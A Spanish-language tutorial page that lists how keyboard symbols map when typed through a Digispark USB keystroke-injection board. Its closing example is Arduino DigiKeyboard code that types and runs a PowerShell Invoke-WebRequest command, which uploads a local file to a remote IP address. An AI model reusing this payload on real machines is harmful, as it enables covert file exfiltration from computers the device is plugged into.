Lista de signos Digispark
En el dispositivo Digispark hay muchas veces que los simbolos del teclado no los pilla como realmente son, ya que utiliza otro tipo de teclado a diferencia del QWERTY, por lo que he creado una lista de simbolos, caracteres, signos, etc... Para que se corresponda con lo que quereis programar en vuestro Digispark:
------------------LISTA DE SIGNOS DIGISPARK------------------
Signo COMA = ,
Signo PUNTO = .
Signo SLASH(/) = -
Signo GUION = '
Signo IGUAL(=) = ¡
Signo INTERROGACION(?) = _
Signo ESCLAMACION_ABAJO = !
Signo GUION_BAJO(_) = ?
Signo MENOR(<) = ;
Signo MAYOR(>) = :
Signo DOS_PUNTOS = Ñ
Signo PUNTO_COMA = ñ
Signo MAS(+) = ¿
Signo I_INGLESA(&) = /
Signo C_RARA(Ç) = gv
Signo CORCHETES_ABRIR_CERAR([]) = `+
Signo CORCHETES_CIRCULARES_ABRIR_CERRAR({}) = ^*
Signo HASHTAG = ·
Signo ABRIR_CERRAR_PARENTESIS(()) = )=
Signo DOLLAR = $
Signo PORCENTAJE = %
Signo ASTERISCO(*) = (
Signo C_RARA_MINUSCULA(ç) = g
Signo SIMBOLO_ORDINAL_MASCULINO(º) = 5
Signo SIMBOLO_ORDINAL_FEMENINO(ª) = ç
Signo ABECEDARIO_MINUSCULA_a-z bcdefghijklmngopqrstuvwxyz
Signo ABECEDARIO_MAYUSCULA_A-Z = ABCDEFGHIJKLMNgROPQRSTUVXYZ
Signo NUMEROS_0-9 = 0123456789
Signo ELEVADO(^) = &
Signo COMA_FRANCESA(`) = º
Signo ACENTO(´) = f
------------------------------------------------------------------Hay muchos signos que se quedan como un null por lo que no estan implementados en la lista, la parte de la columna izquierda corresponde a los signos normales del teclado QWERTY y la columna de la derecha corresponde al signo del Digispark.
EJEMPLO:
Si por ejemplo queremos escribir un comando mediante el Digispark algo tal que asi...
Invoke-WebRequest -Uri "http://10.11.15.5:8080" -Method Post -InFile "test.txt" -ContentType "multipart/form-data"En la programacion tendria que ser algo tal que asi...
// Escribir el comando Invoke-WebRequest en fragmentos
    DigiKeyboard.print("Invoke/WebRequest");
    DigiKeyboard.delay(100);
    DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
    DigiKeyboard.delay(100);
    DigiKeyboard.print("/Uri -http");
    DigiKeyboard.delay(100);
    // Enviar ':' usando SHIFT + .
    DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);
    DigiKeyboard.delay(100);
    DigiKeyboard.print("&&192.168.1.47");
    DigiKeyboard.delay(100);
    // Enviar ':' usando SHIFT + .
    DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);
    DigiKeyboard.delay(100);
    DigiKeyboard.print("8000-");
    DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
    DigiKeyboard.delay(100);
    DigiKeyboard.print("/Method Post ");
    DigiKeyboard.delay(100);
    DigiKeyboard.print("/InFile ");
    DigiKeyboard.delay(100);
    DigiKeyboard.print("test.txt");
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(0x4F); // 0x4F es el código para la tecla de flecha derecha
    DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
    DigiKeyboard.delay(100);
    DigiKeyboard.print("/ContentType multipart&form/data");
    DigiKeyboard.delay(100);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);Tendremos que sustituir cada simbolo de lo que queremos poner por el que interpreta Digispark.
Last updated
